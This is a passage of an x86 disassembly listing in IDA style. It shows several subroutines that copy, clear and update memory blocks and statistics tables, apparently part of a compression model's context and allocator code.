		call	sub_9B259C
		pop	ecx
		mov	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_9B2905:				; CODE XREF: sub_9B28AE+36j
		dec	word ptr [esi+204h]
		movsx	eax, word ptr [esi+edi*2+0B8h]
		mov	ecx, [esi+0Ch]
		mov	edx, ecx
		sub	edx, [esi]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		cmp	edx, eax
		jle	short loc_9B2931
		sub	ecx, eax
		sub	[esi+4], eax
		mov	eax, [esi+4]
		mov	[esi+0Ch], ecx
		retn
; ---------------------------------------------------------------------------


loc_9B2931:				; CODE XREF: sub_9B28AE+75j
		xor	eax, eax
		retn
sub_9B28AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2934	proc near		; CODE XREF: sub_9B29AF+25p
					; sub_9B2A03+7Bp ...
		push	esi
		mov	esi, ecx
		push	edi
		movsx	edi, word ptr [esi+eax*2+102h]
		lea	ecx, [esi+edi*4+20h]
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_9B2950
		mov	edx, [eax]
		mov	[ecx], edx
		jmp	short loc_9B297E
; ---------------------------------------------------------------------------


loc_9B2950:				; CODE XREF: sub_9B2934+14j
		mov	eax, [esi+14h]
		lea	edx, [esi+edi*2+0B8h]
		movsx	ecx, word ptr [edx]
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [eax+ecx*4]
		cmp	ecx, [esi+18h]
		mov	[esi+14h], ecx
		jbe	short loc_9B297E
		movsx	eax, word ptr [edx]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		sub	ecx, eax
		mov	[esi+14h], ecx
		call	sub_9B28AE


loc_9B297E:				; CODE XREF: sub_9B2934+1Aj
					; sub_9B2934+35j
		pop	edi
		pop	esi
		retn
sub_9B2934	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2981	proc near		; CODE XREF: sub_9B2A03+45p
					; sub_9B2E12+115p
		push	esi
		mov	esi, eax
		mov	eax, [esi+18h]
		cmp	eax, [esi+14h]
		jz	short loc_9B2994
		add	eax, 0FFFFFFF4h
		mov	[esi+18h], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B2994:				; CODE XREF: sub_9B2981+9j
		cmp	dword ptr [esi+20h], 0
		jz	short loc_9B29A4
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		mov	[esi+20h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B29A4:				; CODE XREF: sub_9B2981+17j
		push	edi
		xor	edi, edi
		call	sub_9B28AE
		pop	edi
		pop	esi
		retn
sub_9B2981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B29AF	proc near		; CODE XREF: sub_9B2F62+178p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		movsx	eax, word ptr [edi+esi*2+102h]
		movsx	ecx, word ptr [edi+esi*2+104h]
		cmp	eax, ecx
		mov	[ebp+var_4], eax
		jnz	short loc_9B29CF
		mov	eax, ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B29CF:				; CODE XREF: sub_9B29AF+1Aj
		lea	eax, [esi+1]
		mov	ecx, edi
		call	sub_9B2934
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_9B29FE
		lea	ecx, [esi+esi*2]
		shl	ecx, 2
		push	ecx		; Size
		push	ebx		; Src
		push	eax		; Dst
		call	memcpy
		mov	eax, [ebp+var_4]
		lea	eax, [edi+eax*4+20h]
		mov	ecx, [eax]
		mov	[ebx], ecx
		add	esp, 0Ch
		mov	[eax], ebx


loc_9B29FE:				; CODE XREF: sub_9B29AF+2Fj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_9B29AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2A03	proc near		; CODE XREF: sub_9B2B65+10p
					; sub_9B2F62+A8p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	100h		; Size
		xor	ebx, ebx
		lea	eax, [edi+888h]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch
		lea	esi, [edi+654h]
		call	sub_9B2666
		mov	eax, [edi+87Ch]
		cmp	eax, 0Ch
		jl	short loc_9B2A3B
		push	0Ch
		pop	eax


loc_9B2A3B:				; CODE XREF: sub_9B2A03+33j
		or	ecx, 0FFFFFFFFh
		sub	ecx, eax
		mov	eax, esi
		mov	[edi+884h], ecx
		call	sub_9B2981
		cmp	eax, ebx
		mov	[edi+8], eax
		mov	[edi+4], eax
		jz	short loc_9B2A95
		mov	[eax], ebx
		mov	eax, [edi+87Ch]
		mov	[edi+878h], eax
		mov	eax, [edi+4]
		mov	word ptr [eax+0Ah], 100h
		mov	eax, [edi+4]
		mov	word ptr [eax+8], 101h
		mov	eax, 80h
		mov	ecx, esi
		call	sub_9B2934
		mov	ecx, [edi+4]
		mov	[ecx+4], eax
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		cmp	eax, ebx
		mov	[edi], eax
		jnz	short loc_9B2A9C


loc_9B2A95:				; CODE XREF: sub_9B2A03+52j
		xor	eax, eax
		jmp	loc_9B2B61
; ---------------------------------------------------------------------------


loc_9B2A9C:				; CODE XREF: sub_9B2A03+90j
		mov	eax, [edi+884h]
		mov	[edi+880h], eax
		xor	ecx, ecx
		mov	[edi+4C89h], bl
		xor	eax, eax


loc_9B2AB2:				; CODE XREF: sub_9B2A03+D6j
		mov	edx, [edi+4]
		mov	edx, [edx+4]
		mov	[edx+eax+4], cl
		mov	edx, [edi+4]
		mov	edx, [edx+4]
		mov	byte ptr [edx+eax+5], 1
		mov	edx, [edi+4]
		mov	edx, [edx+4]
		mov	[eax+edx], ebx
		add	eax, 6
		inc	ecx
		cmp	eax, 600h
		jl	short loc_9B2AB2
		lea	eax, [edi+0C88h]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], eax


loc_9B2AE7:				; CODE XREF: sub_9B2A03+133j
		mov	ebx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		add	ebx, 2
		mov	ecx, offset dword_9A6ABC
		mov	[ebp+var_8], eax


loc_9B2AF8:				; CODE XREF: sub_9B2A03+123j
		mov	esi, [ebp+var_8]
		mov	[ebp+var_10], 8


loc_9B2B02:				; CODE XREF: sub_9B2A03+115j
		movzx	eax, word ptr [ecx]
		cdq
		idiv	ebx
		mov	edx, 4000h
		sub	edx, eax
		mov	[esi], dx
		add	esi, 10h
		dec	[ebp+var_10]
		jnz	short loc_9B2B02
		add	[ebp+var_8], 2
		inc	ecx
		inc	ecx
		cmp	ecx, offset byte_9A6ACC
		jl	short loc_9B2AF8
		inc	[ebp+var_4]
		mov	eax, 80h
		add	[ebp+var_C], eax
		cmp	[ebp+var_4], eax
		jl	short loc_9B2AE7
		xor	edx, edx
		lea	ecx, [edi+0Fh]


loc_9B2B3D:				; CODE XREF: sub_9B2A03+159j
		lea	eax, [edx+edx*4+0Ah]
		push	10h
		shl	eax, 3
		pop	esi


loc_9B2B47:				; CODE XREF: sub_9B2A03+153j
		mov	byte ptr [ecx-1], 3
		mov	[ecx-3], ax
		mov	byte ptr [ecx],	4
		add	ecx, 4
		dec	esi
		jnz	short loc_9B2B47
		inc	edx
		cmp	edx, 19h
		jl	short loc_9B2B3D
		xor	eax, eax
		inc	eax


loc_9B2B61:				; CODE XREF: sub_9B2A03+94j
		pop	esi
		pop	ebx
		leave
		retn
sub_9B2A03	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B2B65	proc near		; CODE XREF: sub_9B36DE+22j
					; sub_9B3705+D9p
		push	edi
		mov	edi, ecx
		mov	byte ptr [edi+4C88h], 1
		mov	[edi+87Ch], eax
		call	sub_9B2A03
		test	eax, eax
		jnz	short loc_9B2B80
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_9B2B80:				; CODE XREF: sub_9B2B65+17j
		push	9		; Size
		lea	eax, [edi+0A8Ah]
		push	4		; Val
		push	eax		; Dst
		mov	byte ptr [edi+0A88h], 0
		mov	byte ptr [edi+0A89h], 2
		call	memset
		push	0F5h		; Size
		lea	eax, [edi+0A93h]
		push	6		; Val
		push	eax		; Dst
		call	memset
		add	esp, 18h
		xor	eax, eax


loc_9B2BB6:				; CODE XREF: sub_9B2B65+5Cj
		mov	[edi+eax+988h],	al
		inc	eax
		cmp	eax, 3
		jl	short loc_9B2BB6
		push	ebx
		push	esi
		xor	esi, esi
		inc	esi
		mov	edx, eax
		mov	ebx, esi
		mov	ecx, 100h
		jmp	short loc_9B2BE2
; ---------------------------------------------------------------------------


loc_9B2BD3:				; CODE XREF: sub_9B2B65+7Fj
		dec	esi
		mov	[edi+eax+988h],	dl
		jnz	short loc_9B2BE1
		inc	ebx
		mov	esi, ebx
		inc	edx


loc_9B2BE1:				; CODE XREF: sub_9B2B65+76j
		inc	eax


loc_9B2BE2:				; CODE XREF: sub_9B2B65+6Cj
		cmp	eax, ecx
		jl	short loc_9B2BD3
		push	40h		; Size
		lea	eax, [edi+0B88h]
		push	0		; Val
		push	eax		; Dst
		call	memset
		push	0C0h		; Size
		lea	eax, [edi+0BC8h]
		push	8		; Val
		push	eax		; Dst
		call	memset
		add	esp, 18h
		pop	esi
		xor	eax, eax
		pop	ebx
		mov	byte ptr [edi+64Eh], 7
		inc	eax
		pop	edi
		retn
sub_9B2B65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2C1A	proc near		; CODE XREF: sub_9B2C40+26p
					; sub_9B2F62+4Cp ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [ebp+var_8]
		movsd
		movsw
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		movsd
		movsw
		mov	edi, [ebp+arg_4]
		lea	esi, [ebp+var_8]
		movsd
		movsw
		pop	edi
		pop	esi
		leave
		retn
sub_9B2C1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2C40	proc near		; CODE XREF: sub_9B3221+79p
					; sub_9B3221+EDp ...

var_20		= byte ptr -20h
var_1B		= byte ptr -1Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		movzx	ecx, word ptr [eax+0Ah]
		mov	[ebp+var_18], ecx
		dec	ecx
		push	ebx
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		push	esi
		lea	edx, [eax+4]
		push	edi
		mov	[ebp+var_4], edx
		jmp	short loc_9B2C70
; ---------------------------------------------------------------------------


loc_9B2C61:				; CODE XREF: sub_9B2C40+32j
		lea	esi, [ecx-6]
		push	esi
		push	ecx
		call	sub_9B2C1A
		add	esp, 8
		mov	ecx, esi


loc_9B2C70:				; CODE XREF: sub_9B2C40+1Fj
		cmp	ecx, [edx]
		jnz	short loc_9B2C61
		mov	edx, [edx]
		add	byte ptr [edx+5], 4
		add	word ptr [eax+8], 4
		mov	dx, [eax+8]
		movzx	esi, byte ptr [ecx+5]
		movzx	ebx, dx
		xor	edx, edx
		sub	ebx, esi
		mov	esi, [ebp+arg_0]
		cmp	[esi+878h], edx
		setnz	dl
		mov	[ebp+var_14], edx
		movzx	edx, byte ptr [ecx+5]
		add	edx, [ebp+var_14]
		sar	edx, 1
		mov	[ecx+5], dl
		movzx	dx, dl
		mov	[eax+8], dx


loc_9B2CB1:				; CODE XREF: sub_9B2C40+CEj
		movzx	edx, byte ptr [ecx+0Bh]
		mov	esi, [ebp+var_14]
		add	ecx, 6
		sub	ebx, edx
		mov	[ebp+var_C], edx
		add	edx, esi
		sar	edx, 1
		mov	[ecx+5], dl
		movzx	dx, dl
		add	[eax+8], dx
		mov	dl, [ecx+5]
		cmp	dl, [ecx-1]
		jbe	short loc_9B2D0B
		mov	esi, ecx
		lea	edi, [ebp+var_20]
		movsd
		mov	edx, ecx
		movsw


loc_9B2CE1:				; CODE XREF: sub_9B2C40+C1j
		lea	esi, [edx-6]
		mov	edi, edx
		movsd
		movsw
		mov	esi, [ebp+var_4]
		sub	edx, 6
		cmp	edx, [esi]
		mov	[ebp+var_C], edx
		jz	short loc_9B2D03
		mov	dl, [ebp+var_1B]
		mov	esi, [ebp+var_C]
		cmp	dl, [esi-1]
		mov	edx, esi
		ja	short loc_9B2CE1


loc_9B2D03:				; CODE XREF: sub_9B2C40+B4j
		lea	esi, [ebp+var_20]
		mov	edi, edx
		movsd
		movsw


loc_9B2D0B:				; CODE XREF: sub_9B2C40+95j
		dec	[ebp+var_8]
		jnz	short loc_9B2CB1
		add	ecx, 5
		cmp	byte ptr [ecx],	0
		jnz	short loc_9B2D80


loc_9B2D18:				; CODE XREF: sub_9B2C40+E1j
		inc	[ebp+var_8]
		sub	ecx, 6
		cmp	byte ptr [ecx],	0
		jz	short loc_9B2D18
		mov	ecx, [ebp+var_8]
		sub	[eax+0Ah], cx
		add	ebx, ecx
		mov	cx, [eax+0Ah]
		cmp	cx, 1
		jnz	short loc_9B2D80
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		mov	esi, edx
		lea	edi, [ebp+var_14]
		movsd
		movsw


loc_9B2D43:				; CODE XREF: sub_9B2C40+110j
		mov	al, [ebp+var_F]
		shr	al, 1
		sub	[ebp+var_F], al
		sar	ebx, 1
		cmp	ebx, 1
		jg	short loc_9B2D43
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+var_4]
		inc	eax
		sar	eax, 1
		movsx	eax, word ptr [ecx+eax*2+756h]
		lea	eax, [ecx+eax*4+674h]
		mov	esi, [eax]
		mov	[edx], esi
		mov	[eax], edx
		mov	[ecx], edi
		lea	esi, [ebp+var_14]
		movsd
		movsw
		jmp	loc_9B2E0D
; ---------------------------------------------------------------------------


loc_9B2D80:				; CODE XREF: sub_9B2C40+D6j
					; sub_9B2C40+F4j
		mov	ecx, ebx
		sar	ecx, 1
		sub	ebx, ecx
		add	[eax+8], bx
		mov	ecx, [ebp+var_18]
		movzx	eax, word ptr [eax+0Ah]
		inc	ecx
		sar	ecx, 1
		inc	eax
		sar	eax, 1
		cmp	ecx, eax
		jz	short loc_9B2E03
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		mov	edi, [edx]
		movsx	ecx, word ptr [esi+ecx*2+756h]
		movsx	edx, word ptr [esi+eax*2+756h]
		add	esi, 654h
		cmp	ecx, edx
		mov	[ebp+var_18], ecx
		jz	short loc_9B2DFE
		lea	ecx, [esi+edx*4+20h]
		mov	ebx, [ecx]
		test	ebx, ebx
		jz	short loc_9B2DF0
		mov	edx, [ebx]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		push	eax		; Size
		push	edi		; Src
		push	ebx		; Dst
		mov	[ecx], edx
		call	memcpy
		mov	eax, [ebp+var_18]
		lea	eax, [esi+eax*4+20h]
		mov	ecx, [eax]
		mov	[edi], ecx
		mov	[eax], edi
		add	esp, 0Ch
		mov	edi, ebx
		jmp	short loc_9B2DFE
; ---------------------------------------------------------------------------


loc_9B2DF0:				; CODE XREF: sub_9B2C40+188j
		mov	ecx, edx
		mov	edx, [ebp+var_18]
		push	edi
		mov	eax, esi
		call	sub_9B259C
		pop	ecx


loc_9B2DFE:				; CODE XREF: sub_9B2C40+17Ej
					; sub_9B2C40+1AEj
		mov	eax, [ebp+var_4]
		mov	[eax], edi


loc_9B2E03:				; CODE XREF: sub_9B2C40+159j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax


loc_9B2E0D:				; CODE XREF: sub_9B2C40+13Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B2C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2E12	proc near		; CODE XREF: sub_9B2F62+89p
					; sub_9B2F62+E6p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi]
		mov	ebx, [esi+4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		lea	ecx, [ebp+var_10C]
		push	edi
		mov	edi, [eax]
		mov	[ebp+var_4], ecx
		jnz	short loc_9B2E4A
		cmp	[ebx], edx
		mov	[ebp+var_10C], eax
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		jz	short loc_9B2E9D


loc_9B2E4A:				; CODE XREF: sub_9B2E12+23j
		cmp	[ebp+arg_4], edx
		jz	short loc_9B2E56
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebx]
		jmp	short loc_9B2E76
; ---------------------------------------------------------------------------


loc_9B2E56:				; CODE XREF: sub_9B2E12+3Bj
					; sub_9B2E12+73j
		mov	ebx, [ebx]
		cmp	word ptr [ebx+0Ah], 1
		jz	short loc_9B2E73
		mov	ecx, [esi]
		mov	eax, [ebx+4]
		mov	cl, [ecx+4]
		jmp	short loc_9B2E6C
; ---------------------------------------------------------------------------


loc_9B2E69:				; CODE XREF: sub_9B2E12+5Dj
		add	eax, 6


loc_9B2E6C:				; CODE XREF: sub_9B2E12+55j
		cmp	[eax+4], cl
		jnz	short loc_9B2E69
		jmp	short loc_9B2E76
; ---------------------------------------------------------------------------


loc_9B2E73:				; CODE XREF: sub_9B2E12+4Bj
		lea	eax, [ebx+4]


loc_9B2E76:				; CODE XREF: sub_9B2E12+42j
					; sub_9B2E12+5Fj
		cmp	[eax], edi
		jnz	short loc_9B2E89
		mov	ecx, [ebp+var_4]
		add	[ebp+var_4], 4
		cmp	[ebx], edx
		mov	[ecx], eax
		jnz	short loc_9B2E56
		jmp	short loc_9B2E8B
; ---------------------------------------------------------------------------


loc_9B2E89:				; CODE XREF: sub_9B2E12+66j
		mov	ebx, [eax]


loc_9B2E8B:				; CODE XREF: sub_9B2E12+75j
		lea	eax, [ebp+var_10C]
		cmp	[ebp+var_4], eax
		jnz	short loc_9B2E9D
		mov	eax, ebx
		jmp	loc_9B2F5D
; ---------------------------------------------------------------------------


loc_9B2E9D:				; CODE XREF: sub_9B2E12+36j
					; sub_9B2E12+82j
		mov	cl, [edi]
		mov	dx, [ebx+0Ah]
		inc	edi
		cmp	dx, 1
		mov	[ebp+var_8], cl
		mov	[ebp+var_C], edi
		jz	short loc_9B2F11
		cmp	ebx, [esi+654h]
		jbe	loc_9B2F5B
		mov	eax, [ebx+4]
		cmp	[eax+4], cl
		jz	short loc_9B2EDA
		mov	edi, [esi+65Ch]


loc_9B2ECA:				; CODE XREF: sub_9B2E12+C6j
		add	eax, 6
		cmp	eax, edi
		ja	loc_9B2F5B
		cmp	[eax+4], cl
		jnz	short loc_9B2ECA


loc_9B2EDA:				; CODE XREF: sub_9B2E12+B0j
		movzx	eax, byte ptr [eax+5]
		movzx	ecx, word ptr [ebx+8]
		movzx	edx, dx
		dec	eax
		sub	ecx, edx
		sub	ecx, eax
		lea	edx, [eax+eax]
		cmp	edx, ecx
		ja	short loc_9B2EFC
		lea	eax, [eax+eax*4]
		cmp	ecx, eax
		sbb	eax, eax
		neg	eax
		jmp	short loc_9B2F0D
; ---------------------------------------------------------------------------


loc_9B2EFC:				; CODE XREF: sub_9B2E12+DDj
		lea	edi, [ecx+55555555h]
		lea	eax, [edx+edi*2]
		add	eax, edi
		add	ecx, ecx
		xor	edx, edx
		div	ecx


loc_9B2F0D:				; CODE XREF: sub_9B2E12+E8j
		inc	al
		jmp	short loc_9B2F14
; ---------------------------------------------------------------------------


loc_9B2F11:				; CODE XREF: sub_9B2E12+9Cj
		mov	al, [ebx+9]


loc_9B2F14:				; CODE XREF: sub_9B2E12+FDj
		add	esi, 654h
		mov	[ebp+var_7], al
		mov	[ebp+arg_0], esi


loc_9B2F20:				; CODE XREF: sub_9B2E12+145j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], 4
		call	sub_9B2981
		test	eax, eax
		jz	short loc_9B2F48
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		lea	edi, [eax+4]
		lea	esi, [ebp+var_C]
		movsd
		mov	word ptr [eax+0Ah], 1
		movsw
		mov	[eax], ebx
		mov	[ecx], eax


loc_9B2F48:				; CODE XREF: sub_9B2E12+11Cj
		test	eax, eax
		mov	ebx, eax
		jz	short loc_9B2F5B
		lea	ecx, [ebp+var_10C]
		cmp	[ebp+var_4], ecx
		jnz	short loc_9B2F20
		jmp	short loc_9B2F5D
; ---------------------------------------------------------------------------


loc_9B2F5B:				; CODE XREF: sub_9B2E12+A4j
					; sub_9B2E12+BDj ...
		xor	eax, eax


loc_9B2F5D:				; CODE XREF: sub_9B2E12+86j
					; sub_9B2E12+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9B2E12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2F62	proc near		; CODE XREF: sub_9B37F8+13Dp

var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebx]
		push	edi
		lea	edi, [ebp+var_24]
		movsd
		movsw
		mov	dx, [ebp+var_20]
		xor	edi, edi
		cmp	dh, 1Fh
		jnb	short loc_9B2FDD
		mov	eax, [ebx+4]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_9B2FDD
		cmp	word ptr [eax+0Ah], 1
		jz	short loc_9B2FCD
		mov	edi, [eax+4]
		cmp	[edi+4], dl
		jz	short loc_9B2FB8


loc_9B2F99:				; CODE XREF: sub_9B2F62+3Dj
		add	edi, 6
		cmp	[edi+4], dl
		jnz	short loc_9B2F99
		mov	cl, [edi+5]
		cmp	cl, [edi-1]
		jb	short loc_9B2FB8
		lea	ecx, [edi-6]
		push	ecx
		push	edi
		call	sub_9B2C1A
		add	esp, 8
		mov	edi, ecx


loc_9B2FB8:				; CODE XREF: sub_9B2F62+35j
					; sub_9B2F62+45j
		mov	cl, [edi+5]
		cmp	cl, 73h
		jnb	short loc_9B2FDD
		add	cl, 2
		mov	[edi+5], cl
		add	word ptr [eax+8], 2
		jmp	short loc_9B2FDD
; ---------------------------------------------------------------------------


loc_9B2FCD:				; CODE XREF: sub_9B2F62+2Dj
		lea	edi, [eax+4]
		mov	al, [edi+5]
		cmp	al, 20h
		setb	cl
		add	cl, al
		mov	[edi+5], cl


loc_9B2FDD:				; CODE XREF: sub_9B2F62+1Dj
					; sub_9B2F62+26j ...
		cmp	dword ptr [ebx+878h], 0
		jnz	short loc_9B301C
		push	edi
		push	1
		mov	eax, ebx
		call	sub_9B2E12
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		mov	[ecx], eax
		mov	eax, [ebx]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebx+8], eax
		mov	[ebx+4], eax
		jnz	loc_9B30B0


loc_9B3008:				; CODE XREF: sub_9B2F62+D4j
					; sub_9B2F62+F2j ...
		mov	edi, ebx
		call	sub_9B2A03
		test	eax, eax
		jnz	loc_9B3215
		jmp	loc_9B30B3
; ---------------------------------------------------------------------------


loc_9B301C:				; CODE XREF: sub_9B2F62+82j
		lea	esi, [ebx+654h]
		mov	eax, [esi]
		mov	[eax], dl
		inc	dword ptr [esi]
		mov	eax, [esi]
		cmp	eax, [ebx+660h]
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], eax
		jnb	short loc_9B3008
		cmp	[ebp+var_24], 0
		jz	short loc_9B3077
		cmp	[ebp+var_24], eax
		ja	short loc_9B305A
		push	edi
		push	0
		mov	eax, ebx
		call	sub_9B2E12
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_24], eax
		jz	short loc_9B3008
		mov	dx, [ebp+var_20]


loc_9B305A:				; CODE XREF: sub_9B2F62+DFj
		dec	dword ptr [ebx+878h]
		jnz	short loc_9B3081
		mov	eax, [ebp+var_24]
		mov	[ebp+var_14], eax
		mov	eax, [ebx+8]
		xor	ecx, ecx
		cmp	eax, [ebx+4]
		setnz	cl
		sub	[esi], ecx
		jmp	short loc_9B3081
; ---------------------------------------------------------------------------


loc_9B3077:				; CODE XREF: sub_9B2F62+DAj
		mov	ecx, [ebx]
		mov	[ecx], eax
		mov	eax, [ebx+4]
		mov	[ebp+var_24], eax


loc_9B3081:				; CODE XREF: sub_9B2F62+FEj
					; sub_9B2F62+113j
		mov	ecx, [ebx+4]
		movzx	edi, word ptr [ecx+0Ah]
		movzx	eax, word ptr [ecx+8]
		movzx	edx, dh
		sub	eax, edx
		sub	eax, edi
		mov	[ebp+var_8], edi
		mov	edi, [ebx+8]
		inc	eax
		cmp	edi, ecx
		mov	[ebp+var_18], edx
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], edi
		jnz	short loc_9B30BE


loc_9B30A7:				; CODE XREF: sub_9B2F62+2AEj
		mov	eax, [ebp+var_24]
		mov	[ebx+4], eax
		mov	[ebx+8], eax


loc_9B30B0:				; CODE XREF: sub_9B2F62+A0j
					; sub_9B2F62+2BAj
		xor	eax, eax
		inc	eax


loc_9B30B3:				; CODE XREF: sub_9B2F62+B5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B30B8:				; CODE XREF: sub_9B2F62+2A8j
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+var_C]


loc_9B30BE:				; CODE XREF: sub_9B2F62+143j
		movzx	edx, word ptr [edi+0Ah]
		xor	eax, eax
		inc	eax
		cmp	edx, eax
		mov	[ebp+var_10], edx
		jz	short loc_9B3128
		test	dl, al
		jnz	short loc_9B30F5
		mov	ebx, [edi+4]
		mov	edi, [ebp+var_C]
		mov	esi, edx
		shr	esi, 1
		call	sub_9B29AF
		test	eax, eax
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_0]
		mov	[ecx+4], eax
		jz	loc_9B3008
		mov	edx, [ebp+var_10]
		mov	edi, ecx


loc_9B30F5:				; CODE XREF: sub_9B2F62+16Cj
		mov	ax, [edi+8]
		movzx	esi, ax
		mov	ecx, edx
		shl	ecx, 3
		cmp	ecx, esi
		sbb	ecx, ecx
		inc	ecx
		mov	esi, edx
		shl	esi, 2
		cmp	[ebp+var_8], esi
		sbb	esi, esi
		inc	esi
		and	ecx, esi
		lea	esi, [edx+edx]
		cmp	esi, [ebp+var_8]
		sbb	esi, esi
		neg	esi
		add	esi, eax
		lea	eax, [esi+ecx*2]
		mov	[edi+8], ax
		jmp	short loc_9B317A
; ---------------------------------------------------------------------------


loc_9B3128:				; CODE XREF: sub_9B2F62+168j
		mov	ecx, esi
		call	sub_9B2934
		test	eax, eax
		jz	loc_9B3008
		lea	ecx, [edi+4]
		mov	esi, ecx
		mov	edi, eax
		movsd
		movsw
		mov	[ecx], eax
		mov	cl, [eax+5]
		cmp	cl, 1Eh
		jnb	short loc_9B3152
		shl	cl, 1
		mov	[eax+5], cl
		jmp	short loc_9B3156
; ---------------------------------------------------------------------------


loc_9B3152:				; CODE XREF: sub_9B2F62+1E7j
		mov	byte ptr [eax+5], 78h


loc_9B3156:				; CODE XREF: sub_9B2F62+1EEj
		movzx	ax, byte ptr [eax+5]
		mov	edx, [ebp+var_10]
		push	3
		pop	ecx
		cmp	ecx, [ebp+var_8]
		sbb	ecx, ecx
		neg	ecx
		add	cx, [ebx+874h]
		add	ecx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+8], cx
		mov	edi, eax


loc_9B317A:				; CODE XREF: sub_9B2F62+1C4j
		movzx	eax, word ptr [edi+8]
		mov	esi, [ebp+var_1C]
		lea	ecx, [eax+6]
		imul	ecx, [ebp+var_18]
		add	eax, esi
		lea	esi, [eax+eax*2]
		shl	ecx, 1
		shl	esi, 1
		cmp	ecx, esi
		mov	[ebp+var_10], ecx
		mov	esi, eax
		jnb	short loc_9B31B7
		shl	esi, 2
		cmp	ecx, esi
		sbb	esi, esi
		inc	esi
		cmp	eax, ecx
		sbb	eax, eax
		xor	ecx, ecx
		mov	cx, [edi+8]
		neg	eax
		lea	eax, [esi+eax+1]
		add	ecx, 3
		jmp	short loc_9B31E2
; ---------------------------------------------------------------------------


loc_9B31B7:				; CODE XREF: sub_9B2F62+236j
		imul	esi, 0Fh
		cmp	ecx, esi
		sbb	ecx, ecx
		inc	ecx
		lea	esi, [eax+eax*2]
		shl	esi, 2
		cmp	[ebp+var_10], esi
		lea	eax, [eax+eax*8]
		sbb	esi, esi
		inc	esi
		add	ecx, esi
		cmp	[ebp+var_10], eax
		sbb	eax, eax
		inc	eax
		lea	eax, [ecx+eax+4]
		xor	ecx, ecx
		mov	cx, [edi+8]
		add	ecx, eax


loc_9B31E2:				; CODE XREF: sub_9B2F62+253j
		mov	esi, [edi+4]
		mov	[edi+8], cx
		lea	ecx, [edx+edx*2]
		lea	esi, [esi+ecx*2]
